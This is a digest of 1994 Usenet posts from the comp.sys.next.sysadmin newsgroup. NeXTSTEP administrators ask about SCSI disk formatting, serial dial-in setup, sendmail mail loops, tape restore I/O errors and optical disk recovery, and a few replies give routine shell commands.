From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: reprocessing junked news w/ cnews
Message-ID: <CJK4LK.3r3@nyro.com>
Keywords: cnews usenet help article
Sender: ian@nyro.com (Ian)
Organization: NYRO Technix, Inc. - 415 664-1170
Date: Thu, 13 Jan 1994 07:24:55 GMT
How do you have the junked news articles reprocessed when using cnews?
Basically take all the articles in junk and have them put in the proper
directories.
Any help is appreciated.
NeXTmail welcome.
ian
From: ian@mindvox.phantom.com (Ian Bainbridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Formatting SEAGATE ST11200N
Date: Thu, 13 Jan 94 09:36:29 EST
Organization: [MindVox] / Phantom Access Technologies / (+1 800-MindVox)
Distribution: world
Message-ID: <iFi4Fc1w165w@mindvox.phantom.com>
Originator: ian@mindvox
I've recently added a Seagate 1.2gb disk to a machine running NeXTSTEP,
in this case a JAWS/dgx, which is an EISA machine, 32mb RAM, contains 2
other local hard disks (both IDE) and CD-ROM plus QICtape, all connected
using an Adaptec 1542b controller.
Upon booting everything gets found like so:
Jan 13 07:57:34 dekfour mach: Resetting SCSI Bus...
Jan 13 07:57:34 dekfour mach: Registering: sc0
Jan 13 07:57:34 dekfour mach: sd0: SEAGATE ST11200N 9300
Jan 13 07:57:34 dekfour mach: Registering: sd0 at Target 4 LUN 0 at sc0
Jan 13 07:57:34 dekfour mach: Registering: sd0a
Jan 13 07:57:34 dekfour mach: sd0: Device Block Size: 512 bytes
Jan 13 07:57:34 dekfour mach: sd0: Device Capacity: 1005 MB
Jan 13 07:57:34 dekfour mach: sd0: Disk Label: Disk6
Jan 13 07:57:34 dekfour mach: sd1: SONY CD-ROM CDU-541 2.6a
Jan 13 07:57:34 dekfour mach: Registering: sd1 at Target 5 LUN 0 at sc0
Jan 13 07:57:34 dekfour mach: Registering: sd1a
Jan 13 07:57:34 dekfour mach: sd1: Device Block Size: 2048 bytes
Jan 13 07:57:34 dekfour mach: sd1: Device Capacity: 288 MB
Jan 13 07:57:34 dekfour mach: sd1: Disk Label: ThirdParty
The seagate is a 1200mb drive that formats down to 1005mb, and gets
recognized this way upon booting up:
Jan 13 07:57:34 dekfour mach: sd0: Device Capacity: 1005 MB
HOWEVER, both df, and the desktop only find 114mb and 111mb respectively,
available on the disk:
/dev/sd0a 120495 2 114468 0% /Disk6
My familiarity with msdos in general is very low, from what I understand
a disk needs to go through three phases. A low level format which is
often done at the factory and seems to already exist, but perhaps is not
properly recognized by NeXTSTEP, a partition program such as fdisk, then
a high level format running makefs or newfs.
How would I go about doing a low level format on this disk, can I do it
under nextstep, or do I need to use something with msdos to access the
adaptec, and how would I continue from there to make this a useable disk
that I can add to fstab upon boot.
It can read/write data with no problem and everything is already
recognized, I just seem to have lost 1gb somewhere in the transition :-(
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From: d91-elu@dront.nada.kth.se (Erik Lundström)
Newsgroups: comp.sys.next.sysadmin
Subject: Trouble using /dev/ttydfa on Intel.
Date: 13 Jan 1994 14:48:31 GMT
Organization: Royal Institute of Technology, Stockholm, Sweden
Distribution: world
Message-ID: <2h3mvv$n2h@news.kth.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Im having a hard time making /dev/ttydfa to work correctly on
my Intel running NeXTstep 3.1.
I have changed /etc/ttys to:
ttydfa "/usr/etc/getty D19200" dialup on
and I have added the following to /etc/gettytab:
D19200|Fast-Dial-19200:\
:nx=D9600:tc=19200-baud:
The modem is a SupraModem V.32bis set to autoanswer after 2 signals.
All I get when trying to call in is a lot of crap characters.
I also get error messages in the file /usr/adm/messages looks:
Jan 11 21:03:20 localhost mach: ttyscc0: receive error 2 (-900)
Jan 11 21:03:20 localhost mach: ttyscc0: receive error 2 (-901)
Jan 11 21:03:20 localhost mach: ttyscc0: receive error 2 (-901)
Jan 11 21:03:20 localhost mach: ttyscc0: receive error 2 (-902)
Jan 11 21:03:20 localhost mach: ttyscc0: receive error 2 (-902)
Jan 11 21:03:25 localhost mach: ttyscc0: receive error 2 (-900)
and so on...
ttyscc0 changes to ttyscc1: if I am using COM2 (/dev/ttydfb).
I have tried other modems/cabling/serial cards, looks like its the serial
driver that needs work.
Please share your experiences with me on this.
David Wallin.
From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: Exporting removable media with NFSManager through netinfo
Date: 13 Jan 1994 10:12:05 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401131609.AA00237@guitar.ho.att.com>
Hi.
We have just set up a small network and attempted to export a CD-ROM disk with
NS documentation from one of the machines to the root domain in order to allow
us to clear the docs off the various clients. This seemed like a cheap way to
gain disk space since our CDROM drive are rarely used.
Althought NFS didn't seem to have a problem, the file system was not readable
on the other machines (showed up as an "unknown" edit doc).
I recently read that the system treats removable file systems as "owned" by the
local user. Although I don't quite know what that means, perhaps it prevents
the NFS export from working. It probably explains why the disk is
automatically ejected at log off. Obviously, a file system can't be shared if
it gets ejected when the local user logs off.
Can removable media be exported? Any thoughts would be appreciated.
Dan Hurley
dfh@guitar.ho.att.com
From: "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: SCSI id's advice needed (HPive)
Date: 13 Jan 1994 17:00:52 GMT
Organization: University of Durham, Durham, UK.
Message-ID: <2h3uo4$5ik@mercury.dur.ac.uk>
I have a HP97560 drive as scsi id 2, and I'd like to move it to 1
if possible, but I never recieved a list of jumper settings to
configure it....my internal drive is a seagate st1480, set at
I think one, but I can't tell....this is what is in my /usr/adm/messages:
Jan 12 08:09:53 shrug mach: SEAGATE ST1480 Rev 5129 as sd0 at sc0 target 1 lun 0Jan 12 08:09:53 shrug mach: Disk Label: MyDisk
Jan 12 08:09:53 shrug mach: Disk Capacity 406MB, Device Block 512 bytes
Jan 12 08:09:53 shrug mach: HP 97560 Rev 0A0F as sd1 at sc0 target 2 lun 0
Jan 12 08:09:53 shrug mach: Disk Label: Tardis
Jan 12 08:09:53 shrug mach: Disk Capacity 1292MB, Device Block 512 bytes
basically, i want the internal at 0, the external at 1 and then be able
to move up from there...
any advice appreciated!!
scott
From: rainer@fml.tuwien.ac.at (Rainer Staringer)
Newsgroups: comp.sys.next.sysadmin
Subject: How to get dial-in access to work in NS3.2/Intel?
Date: 13 Jan 1994 19:22:13 GMT
Organization: Financial Markets Lab, TU Vienna
Distribution: world
Message-ID: <2h4715$nu3@email.tuwien.ac.at>
I tried to enable dial-ins using NS3.2 on an Intel box with a Zyxel Modem,
but I can't get it to work. I edited /etc/ttys and changed the line for
ttydfa to:
ttydfa "/usr/etc/getty std.19200" dialup on
I added the std.19200 entry to /etc/gettytab myself:
std.19200|19200-baud:\
:sp#19200:
When a remote user tries to log in he gets the login: and passwd: prompts,
but then /bin/login hangs (you can see the login -p user process in the ps
listing) and the user never gets a shell.
What could the problem be? Could it be related to the following error message
I keep getting in /usr/adm/messages: mach: ttyscc0: receive error 2 (-902)?
Thanks for any pointers!
Rainer
--
Rainer Staringer | rainer@fml.tuwien.ac.at
Financial Markets Lab, TU Vienna | +43 (1) 58801/8138
From: Roland Telfeyan <roland@gomidas.mi.org>
Newsgroups: comp.sys.next.sysadmin
Subject: Descriptions for man pages in Librarian ?
Date: 13 Jan 1994 19:42:18 GMT
Organization: University of Michigan EECS Dept.
Distribution: world
Message-ID: <2h486q$sng@zip.eecs.umich.edu>
In Librarian I get no descriptions for man pages. Only the file names are
listed.
The following does no good:
cd /NextLibrary/Documentation/ManPages
rm .index.store
ixbuild -fsgv -LEnglish .
/usr/lib/makewhatis
??????
Roland
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From: keithw@fiji.umhc.umn.edu (Keith Willard)
Subject: mailing list servers
Message-ID: <CJL7pM.n1z@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Distribution: comp
Date: Thu, 13 Jan 1994 21:22:51 GMT
I have a mailing list that i manage that has been setup simply with aliases in
netinfo on my mail host machine. This was okay when the list was small but now
has become a bit of a pain. I have found two different kinds of software on
the net that looks like it might be helpful for my needs (support auto
subscribe unsubscribe, some header mungering so that bounced mail comes to the
list manager rather than poster, and perhaps someday retrieval of specific
previous postings thru the mail rather than ftp).
These are listserv5.31, and majordomo. Has anyone had any experience good or
bad with either of these packages on a next mail system? In addition there is
a package called procmail which is a little hard for me to tell from the
documentation where it exactly would fit in if wanted to use one of the above
two packages.
Any comments?
----------------------------------
Keith Willard
Laboratory Medicine and Pathology
University of Minnesota
<keithw@tahiti.umhc.umn.edu>
(NeXT mail welcome)
----------------------------------
From: anstine@uniblab.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Problems with find
Date: 13 Jan 1994 22:17:07 GMT
Organization: University of Pennsylvania
Message-ID: <2h4h93$r5g@netnews.upenn.edu>
We are having a problem with find. I'm clueless
% find / -name anstine -print
find: bad status < /NextApps >
find: bad status < /NextDeveloper >
find: bad status < /NextLibrary >
find: bad status < /bin >
find: bad status < /dev > .........etc.
What the heck does this mean?
-dave
From: langston@isi.com (Richard Langston x247)
Newsgroups: comp.sys.next.sysadmin
Subject: UUCP broken after 3.2 upgrade!
Date: 13 Jan 1994 15:20:33 -0800
Organization: Integrated Systems, Inc.
Distribution: world
Message-ID: <2h4l01INNgua@corina.isi.com>
A question for everyone. I upgraded my nextstation to 3.2, and now
it insists on delivering all mail via ether. I'm not connected to anything,
so dns can never find the hostnames. What's wrong? I've got the sendmail.cf
file I used before....
--
Don't worry about tomorrow, you'll know it when it comes....
....when the rock'n'rollin' music meets the risin' shinin' sun!
***Richard Langston (langston@isi.com) (w) 408 980 1500 (h) 415 966 8805***
Newsgroups: comp.sys.next.sysadmin
From: kdburg@incoahe.hanse.de (Klaus Dahlenburg)
Subject: Re: Is there a dwrite for the 3.2 screensaver ?
Message-ID: <CJLBMC.CwJ@incoahe.hanse.de>
Organization: Hanse Networking eV., Hamburg; Germany
References: <CJJC89.BtC@cnsnews.Colorado.EDU>
Date: Thu, 13 Jan 1994 22:54:12 GMT
to make ScreenSaver kick in a little quicker (default
1800 seconds on 3.2) login as root and type in a shell
(terminal window):
host#: dwrite loginwindow TimeToDim <number of seconds>
Klaus
++EOM++
--
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From: mike_gobbi@looking-glass.com
Subject: restore generates I/O errors
Message-ID: <1994Jan14.000916.616@looking-glass.com>
Keywords: backup, restore, dat
Sender: mgobbi@looking-glass.com (Mike S. Gobbi)
Organization: Looking Glass Design, Inc.
Date: Fri, 14 Jan 1994 00:09:16 GMT
I am having trouble with my tape backups and would like to know if it is
something that I am doing wrong, something that NeXT is doing wrong, or a
problem with my hardware.
Dump works correctly (apparently -- I can't be sure without restore) but I
get I/O errors when I try to run restore. Sometimes I can get restore to
work by playing with the tape (using mt), but as a rule the backup is
irretrievable. Consider the following session:
alice:1# which dump
/etc/dump
alice:2# ls -l /etc/dump
lrwxrwxrwx 1 root 18 May 5 1993 /etc/dump ->
../../usr/etc/dump*@
alice:3# ls -l /usr/etc/dump
-rwxr-sr-x 1 root 32768 Apr 29 1993 /usr/etc/dump*
alice:4# dump 0fs /dev/rst0 1200000 /dev/rsd0a
DUMP: Date of this level 0 dump: Thu Jan 13 14:49:49 1994
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/rsd0a (/) to /dev/rst0
DUMP: mapping (Pass I) [regular files]
DUMP: mapping (Pass II) [directories]
DUMP: estimated 312282 tape blocks on 0.02 tape(s).
DUMP: dumping (Pass III) [directories]
DUMP: dumping (Pass IV) [regular files]
DUMP: 15.12% done, finished in 0:28
DUMP: 31.74% done, finished in 0:21
DUMP: 48.77% done, finished in 0:15
DUMP: 65.33% done, finished in 0:10
DUMP: 82.38% done, finished in 0:05
DUMP: 99.29% done, finished in 0:00
DUMP: DUMP: 312460 tape blocks on 1 tape(s)
DUMP: DUMP IS DONE
DUMP: Tape rewinding
alice:5# mt -f /dev/rst0 status
Generic SCSI tape drive, residual=0
Sense Key = 0x00
Sense Code = 0x00
Sense Byte 0x13 = 0x00
Sense Byte 0x14 = 0x00
Sense Byte 0x15 = 0x00
Sense Byte 0x16 = 0x00
alice:6# restore if /dev/rst0
Tape/disk read error: I/O error
alice:7# mt -f /dev/rst0 status
Generic SCSI tape drive, residual=22528
Sense Key = 0x20
Sense Code = 0x00
Sense Byte 0x13 = 0x00
Sense Byte 0x14 = 0x00
Sense Byte 0x15 = 0x00
Sense Byte 0x16 = 0x00
alice:8#
I believe that I am using the commands correctly, and I am a little bit
puzzled by the tape status. I don't know much about hardware, but I
presume that nothing but zeros is not a good result.
If anybody has any tips I would appreciate them.
--
__ In Quest of Knowledge...
/..\ mike_gobbi@looking-glass.com
--mm--mm--------------------------------------------------
From: wolpert@dsint1.ds2i.freiburg.sub.com (Florian Wolpert)
Newsgroups: comp.sys.next.sysadmin
Subject: How to observe IPX traffic ?
Date: 13 Jan 1994 15:44:21 GMT
Organization: FreiNet, a VzF* InterNetNews site
Message-ID: <2h3q8l$6gl@bock.freiburg.sub.org>
Hi,
Is it possible to control and observe the traffic of ipx-packets on a
NeXTstation which is connected to a novell server ?
If so, how ?
- Flo.
Newsgroups: comp.sys.next.sysadmin
From: dave@guinness.huma.yorku.ca (David Aspinall)
Subject: Sendmail Problem -- Upgrade related?
Message-ID: <CJLss0.DJA@newshub.ccs.yorku.ca>
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University, Humanities Department
Date: Fri, 14 Jan 1994 05:04:47 GMT
Hi,
I have just completed upgrading 14 machines from 3.1 to 3.2 and I
now have a problem with sendmail, can you help?
When the subsidiary machines send mail, it goes to the mailhub,
where the address is resolved and the return address is changed from
login@subsidiary.ci rcus to login@mailhub.circus. This is great (at some
point I would like to change that to First_Last@Circus.YorkU.CA and remove
the machine name altogether, but that can be question #2)
Anyway, several users have associates who mail to them with an
address like login@subsidiary.circus.., the York mailservice correctly
routes this traffic to the mailhub, and this is where I have a problem.
As near as I can figure, the mailhub is passing the message on to the
subsidiary machine, the SUB then looks at the message and passes it back,
so the message bounces because noone accepts it:
Example:
----- Transcript of session follows -----
While connected to mailhub.circus.yorku.ca:
>>> HELO circus.yorku.ca
<<< 553 circus.yorku.ca config error: mail loops back to myself
554 <dave@centaur.circus>... 554 Service unavailable
Now, it does work with some machines. Specifically any machine
that I rebuilt (wipe hard disk and reinstall NS 3.2) will accept a
message to login@SUB. circus and the message is received. WHY? There
are NO files in the /UpgradedFiles directory except the 3.1 device drivers,
and even if I copy and replace the sendmail..cf files so they are ALL
identical, mail like dave@CENTAUR.circus will bounce and
dave@LLAMA.circus will be accepted? (the mailhub is MONKEY).
I am setting the cf file in Netinfo (I even deleted the sendmail.cf
link on ALL machines), I copied the sendmail.sharedsubsidiary.cf file from
the CD-ROM onto the subsidiary machines, still it does not do THE RIGHT THING.
Now, it does work with some machines. Specifically any machine that
I rebuilt (wipe hard disk and reinstall NS 3.2) will accept a message to
login@SUB. circus and the message is received. WHY? There are NO files
in the /UpgradedFi les directory except the 3.1 device drivers, and even
if I copy and replace the sendmail..cf files so they are ALL identical,
mail like dave@CENTAUR.circus will bounce and dave@LLAMA.circus will be
accepted? (the mailhub is MONKEY). I am s etting the cf file in Netinfo
(I even deleted the sendmail.cf link on ALL machin es), I copied the
sendmail.sharedsubsidiary.cf file from the CD-ROM onto the subsidiary
machines, still it does not do THE RIGHT THING.
I am getting kinda stressed over this problem and although the
no-brainer is to rebuild all the machines, I don't really want to have
to do that (would you?).
Please, any suggestions you might have would be really
appreciated.
Thanks
David Aspinall
---
David Aspinall ---------- Former-Former-NeXT Campus Consultant
E-mail : cs911409@ariel.cs.yorku.ca | I'd rather be
NeXTMail: dave@CIRCUS.yorku.ca | rich than stupid
V-mail : (416) 663-4997 | -- Jack Handey
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E-mail : cs911409@ariel.cs.yorku.ca | I'd rather be
NeXTMail: dave@HUMA.yorku.ca | rich than stupid
V-mail : (416) 663-4997 | -- Jack Handey
Newsgroups: comp.sys.next.sysadmin
From: dave@guinness.huma.yorku.ca (David Aspinall)
Subject: Sendmail Problem -- Upgrade related?
Message-ID: <CJLszF.Dt9@newshub.ccs.yorku.ca>
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University, Humanities Department
Date: Fri, 14 Jan 1994 05:09:15 GMT
Hi,
I have just completed upgrading 14 machines from 3.1 to 3.2 and I
now have a problem with sendmail, can you help?
When the subsidiary machines send mail, it goes to the mailhub,
where the address is resolved and the return address is changed from
login@subsidiary.ci rcus to login@mailhub.circus. This is great (at some
point I would like to change that to First_Last@Circus.YorkU.CA and remove
the machine name altogether, but that can be question #2)
Anyway, several users have associates who mail to them with an
address like login@subsidiary.circus.., the York mailservice correctly
routes this traffic to the mailhub, and this is where I have a problem.
As near as I can figure, the mailhub is passing the message on to the
subsidiary machine, the SUB then looks at the message and passes it back,
so the message bounces because noone accepts it:
Example:
----- Transcript of session follows -----
While connected to mailhub.circus.yorku.ca:
>>> HELO circus.yorku.ca
<<< 553 circus.yorku.ca config error: mail loops back to myself
554 <dave@centaur.circus>... 554 Service unavailable
Now, it does work with some machines. Specifically any machine
that I rebuilt (wipe hard disk and reinstall NS 3.2) will accept a
message to login@SUB. circus and the message is received. WHY? There
are NO files in the /UpgradedFiles directory except the 3.1 device drivers,
and even if I copy and replace the sendmail..cf files so they are ALL
identical, mail like dave@CENTAUR.circus will bounce and
dave@LLAMA.circus will be accepted? (the mailhub is MONKEY).
I am setting the cf file in Netinfo (I even deleted the sendmail.cf
link on ALL machines), I copied the sendmail.sharedsubsidiary.cf file from
the CD-ROM onto the subsidiary machines, still it does not do THE RIGHT
THING.
Now, it does work with some machines. Specifically any machine that
I rebuilt (wipe hard disk and reinstall NS 3.2) will accept a message to
login@SUB. circus and the message is received. WHY? There are NO files
in the /UpgradedFi les directory except the 3.1 device drivers, and even
if I copy and replace the sendmail..cf files so they are ALL identical,
mail like dave@CENTAUR.circus will bounce and dave@LLAMA.circus will be
accepted? (the mailhub is MONKEY). I am s etting the cf file in Netinfo
(I even deleted the sendmail.cf link on ALL machin es), I copied the
sendmail.sharedsubsidiary.cf file from the CD-ROM onto the subsidiary
machines, still it does not do THE RIGHT THING.
I am getting kinda stressed over this problem and although the
no-brainer is to rebuild all the machines, I don't really want to have
to do that (would you?).
Please, any suggestions you might have would be really
appreciated.
Thanks
David Aspinall
--
David Aspinall ---------- Former-Former-NeXT Campus Consultant
E-mail : cs911409@ariel.cs.yorku.ca | I'd rather be
NeXTMail: dave@HUMA.yorku.ca | rich than stupid
V-mail : (416) 663-4997 | -- Jack Handey
Newsgroups: comp.sys.next.sysadmin
From: shergot5@mach1.wlu.ca (scott hergott)
Subject: HELP!, ppd files & NSI 3.2
Message-ID: <CJLqyx.HAo@mach1.wlu.ca>
Organization: Wilfrid Laurier University
Date: Fri, 14 Jan 1994 04:25:44 GMT
I am desperately trying to hookup a printer to my Computer, and encountered
a problem. NeXTSTEP Intel 3.2 does not include the ppd files for the
Deskjet Printers. The Print Manager says they are there, and does not complain, however, when I try to print I get the following message on the paper
% lib/ehandler.ps -- Downloaded Error Break-page handler
% GOVERNMENT END USER
After searching, I discovered the missing ppd files. As well, I would like
to be able to print from my dot matrix printer, ( NeXT Tech Support says
this can be achieved through the print drivers from 3.1)
Therefore, if someone could please email me the ppd files for the HP
Deskjet printers (500, 500C, and 550C), as well as a ppd for an Epson FX80 I
would be VERY greatful.
Thanks,
Scott Hergott
Email : Shergot5@mach1.wlu.ca
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Newsgroups: comp.sys.next.sysadmin
From: bruce@TotSysSoft.com (Bruce Gingery)
Subject: Re: Any Optical Disk utilities?
Message-ID: <1994Jan13.193231.8468@ToTSySSoft.com>
Sender: news@ToTSySSoft.com
Organization: Total System Software
References: <1994Jan11.121425.978@gamelan>
Date: Thu, 13 Jan 1994 19:32:31 GMT
In article <1994Jan11.121425.978@gamelan>
thf@zelator.in-berlin.de (Thomas Funke) writes:
-> In article <2gphqo$r2k@dartvax.dartmouth.edu>
kov@onyx.dartmouth.edu (Ken
-> Overton) writes:
->
-> >
-> > I have other ODs that work fine in this drive, so I
-> assume its just the disk. However, is there some
-> utility to try to fix that disk?
-> >
->
-> I found a simple trick: Before you start booting, insert
-> the OD, enter "bod" (boot from OD) and interrupt the boot
-> process. Now the OD-drive is running. Now wait for about
-> 2-3 minutes, during this time the OD gets hot.
-> (And some OD's work only when being hot ...)
-> Then boot the normal way from your disk, and
-> hopefully the OD gets recognised. If not: Try
-> to clean it. And maybe do a disk init ( do a "man
-> disk" to find out how)
->
-> --
OR
Boot single user mode
fsck -P -b 16 /dev/od0a
(note that the P is capitalized).
That should give you a good warm-up excercise of the
disk. If block 16 is also corrupted, move to the next
superblock for the -b flag. (You did keep a copy when you
originally formatted the disk didn't you? Fixing will be up
to you. You may want to NOT fix if it's an "overheated" disk
until it warms up. BTW, cleaning the filter can blow down a
disk for a while, as the cube runs cooler.
See the ManPage for disk(8) interactive command "scan" to
get a list of superblocks.
Bruce Gingery bruce@TotSysSoft.com
Newsgroups: comp.sys.next.sysadmin
From: bruce@TotSysSoft.com (Bruce Gingery)
Subject: Re: Removable Media Ownership
Message-ID: <1994Jan13.200014.8575@ToTSySSoft.com>
Sender: news@ToTSySSoft.com
Organization: Total System Software
References: <2h26l3$1db@nermal.cs.uoguelph.ca>
Date: Thu, 13 Jan 1994 20:00:14 GMT
In article <2h26l3$1db@nermal.cs.uoguelph.ca>
devans@herman.cs.uoguelph.ca (David F Evans) writes:
-> I know that when you insert some removable media NeXTSTEP
-> makes the current user the owner of all the files. Is
-> owner information actually stored for the NeXT file system
-> and then subsequently ignored or os it never written? Not
-> that it makes a whole lot of difference but I was
-> wondering.
It's still there with the written ownership on disk.
Good for OD on 3.1, good for Floppy on 2.1 Can't speak
for anything else. Do a hard-mount of the disk using the Unix
"mount" command to double-check on the disk in question if you
wish.
Bruce Gingery bruce@TotSysSoft.com
From: mark@oa.guild.org (Mark Onyschuk)
Newsgroups: comp.sys.next.sysadmin
Subject: DBKit server options
Date: 14 Jan 1994 02:07:28 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <m0pKVcD-000JHCC@oa.guild.org>
What is the lowest cost option among Oracle, Sybase, or other SQL servers for a
NEXTSTEP Database Kit (i.e. an adaptor must be available for the product)
application requiring 6-10 seats?
Thanks,
Mark
Newsgroups: comp.sys.next.sysadmin
From: dgursky@nextsrv1.andi.org (David Gursky)
Subject: Re: Exporting removable media with NFSManager through netinfo
Message-ID: <dgursky.758481625@news.andi.org>
Organization: Association of NeXTSTEP Developers International
References: <9401131609.AA00237@guitar.ho.att.com>
Date: Thu, 13 Jan 1994 17:20:25 GMT
dfh@guitar.ho.att.com (Dan Hurley) writes:
>Can removable media be exported? Any thoughts would be appreciated.
Absolutely. NEXTSTEP does something funny however when a removable is the
last device on the SCSI chain. What I do to get around it is boot my system
in single user mode, and then manually mount the removable. [Something to
the effect of 'mount /dev/sd2a /NEXTSTEP_3.0'] Once this is done you can
type 'exit' and NEXTSTEP will resume multi-user startup and use NFSManager
to publish the directory.
David
David M. Gursky MIME and NEXTMAIL accepted
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Synex, inc. e-mail: .. dgursky@nextsrv1.andi.org
8601 Georgia Avenue voice: ............. (301) 608-2144
Silver Spring, MD 20917 fax: ............. (301) 495-3036
From: maurices@spock.dis.cccd.edu (Maurice Shihadi)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
Subject: Re: Help (please read if have DEC Hard drive)
Date: 13 Jan 1994 22:12:23 -0800
Organization: Coast Community College District, Costa Mesa, CA
Distribution: usa
Message-ID: <2h5d47$8kt@spock.dis.cccd.edu>
References: <deathCJHt33.5vI@netcom.com>
DEC put a five year warranty on the DSP drives when I bought mine.
Maybe it has something to do with the serial number when you call them.
maurices
Newsgroups: comp.sys.next.sysadmin
From: kinch@heartlab.rri.uwo.ca (Dave Kinchlea)
Subject: stripping shared libs
Organization: Heart Valve Group, John P. Robarts Research Institute, London, Ont. Canada
Distribution: uwo
Date: Thu, 13 Jan 1994 19:54:27 GMT
Message-ID: <1994Jan13.195427.7055@julian.uwo.ca>
Followup-To: kinch@heartlab.rri.uwo.ca
Sender: news@julian.uwo.ca (USENET News System)
Howdy
I am attempting to create a BootFloppy for release 3.2. There
is very little room to manouver, Zenon Fortuna has already removed
most of the obvious files in his 3.0 release. One thing I noticed is
that libsys_s.B.shlib is not stripped. Not being familar with
mach's/NS's shared library format, I am not certain of the consequence(s)
of stripping that file. Can anyone enlighten me? (there is 200Kb
available by stripping that library)
cheerskinch
From: kov@onyx.dartmouth.edu (Ken Overton)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Optical Drive Error
Date: 14 Jan 1994 14:47:01 GMT
Organization: Dartmouth College, Hanover, NH, USA
Distribution: worlds
Message-ID: <2h6b95$lo7@dartvax.dartmouth.edu>
PROBLEM: Optical Disks are not recognized by the OS. Often disks sit in
the drive trying to boot continually and always failing; brings everything
else to a halt while trying.
ERROR MESSAGES:
od0a: read failed (bitmap bad but no alternate found!) block 8 phys block
264 (4165:0:8)
Jan 14 09:07:20 Workspace[144]: Workspace: 'mounted' message received for
unknown device
od_sect_to: N-1 Not Found
od_sect_to: N-1 Not Found
od_sect_to: N-1 Not Found
and I've gotten:
Unknown device type (od0)
Unknown device type (od0)
I HAVE TRIED THUS FAR: Rebooting and running fsck on the system so it
comes up clean; then rebooting again in single user mode, trying to run
/usr/etc/fsck and /usr/etc/disk on the optical while it's spinning in the
drive unrecognized. No disk utility can access the disk, though. I had
to eject the disk from the ROM monitor.
MY OPINION: I've seen disk errors, where the problem is with the disk,
they look like this:
od0a: read recover (ECC) block 8 phys block 65055 (8214:0:15)
This looks to me like it is a problem with the drive itself. Are there
drive utilities to work on this? Should I just go out looking for either
a new optical drive or just scrap the OD idea and go with a new hard
drive?
kov@onyx.dartmouth.edu
From: ian@mindvox.phantom.com (Ian Bainbridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Adaptec 1542b + Seagate drives?
Date: Fri, 14 Jan 94 11:07:49 EST
Organization: [MindVox] / Phantom Access Technologies / (+1 800-MindVox)
Distribution: world
Message-ID: <qBH6Fc1w165w@mindvox.phantom.com>
Originator: ian@mindvox
After installing a Seagate ST11200N 1.2gb disk on a machine running NS/FIP
and using a Adaptec 1542B controller and having problems getting the system
to recognize more than 111mb on the 1.2gb disk, I ran build-disk on the
disk in question, which seemed to work fine (it found 1005mb on the disk,
and went about trying to run), it froze about halfway through and has now
made the disk completely unrecognizable to NS.
Upon booting I get:
Jan 13 14:51:29 dekfour mach: Adaptec controller at irq 11
Jan 13 14:51:29 dekfour mach: Resetting SCSI Bus...
Jan 13 14:51:29 dekfour mach: Registering: sc0
Jan 13 14:51:29 dekfour mach: sd0: SEAGATE ST11200N 9300
Jan 13 14:51:29 dekfour mach: sd0: Media Error; Retrying.
Jan 13 14:51:29 dekfour mach: target:1 lun:0 op:Read capacity
Jan 13 14:51:29 dekfour mach: sd0: Media Error; Retrying.
Jan 13 14:51:29 dekfour mach: target:1 lun:0 op:Read capacity
Jan 13 14:51:29 dekfour mach: sd0: Media Error; Retrying.
Jan 13 14:51:29 dekfour mach: target:1 lun:0 op:Read capacity
Jan 13 14:51:29 dekfour mach: sd0: Media Error; Retrying.
Jan 13 14:51:29 dekfour mach: target:1 lun:0 op:Read capacity
Jan 13 14:51:29 dekfour mach: sd0: Media Error; FATAL.
Jan 13 14:51:29 dekfour mach: target:1 lun:0 op:Read capacity
When trying to format the disk:
[dekfour] <</>>: disk -F /dev/rsd0a
Floating exception
[dekfour] <</>>: disk -F /dev/rsd0a
SEAGATE ST11200N 930000: unknown disk name
[dekfour] <</>>: disk -F /dev/rsd0a
Floating exception
[dekfour] <</>>: sdform /dev/rsd0a
Read Capacity command failed
ioctl(SDIOCSRQ): I/O error
[dekfour] <</>>:
[dekfour] <</NextDeveloper/Headers/bsd/dev>>: sdform /dev/rsd0a
Read Capacity command failed
ioctl(SDIOCSRQ): I/O error
[dekfour] <</NextDeveloper/Headers/bsd/dev>>:
Here's a question..... WTF? Why do some utilities in NS such as buildisk
find the right amount of free space and attempt to utilize it, while other
parts can't deal with it. Where does the problem lie, is there some kind
of known problem with Adaptec 1542b's and 1.2gb seagate disks? I can't
even access the disk now, it appears completely trashed and brings back
all those good memories of trying to attach SCSI disks to black hardware
which worked fine with Suns, Decs and SGI's, only to go into space on the
cubes. The main difference here is that the disk did work initially, kind
of, and builddisk understood what the disk was and its true capacity.
Any suggestions? I am probably going to mount the disk on a Sun, do a low
level format and try again, but this is getting very frustrating (yes, the
SCSI ID is set, it is terminated and works fine on at least Sun machines and
HP's, which its been hooked up to).
Thanks to anyone who can help with this.
ian #################
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mindvox. # ###############################################
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From: jirapa@nextover.pe.utexas.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Connecting QMS PostScript printer to serial B on 030 cube
Date: 14 Jan 1994 18:33:51 GMT
Organization: The University of Texas at Austin, Austin, Texas
Distribution: usa
Message-ID: <2h6oif$ck@geraldo.cc.utexas.edu>
Keywords: QMS printer, serial B printer connections
Hi,
There seeems to be some problems when I had tried to connect a QMS-410
PostScript printer to my 030 cube on serial port B. My configurations are as
follow (NeXTSTEP 3.0):
1) Mac printer cable connected to the serial port of the QMS to the serial port
B on the 030 cube.
2) QMS showed and selected on the printmanager
3) Settings on the printmanager are 9600 bps, serial B, no handshaking (printer
does not support it)
4) QMS printer was online and ready light was on.
When I had tried to print a test page out. The que showed the job as printing
on the QMS printer but I there were no physical printing.
Would anybody know how I can go about solving this?
Jirapa
Newsgroups: comp.sys.next.sysadmin
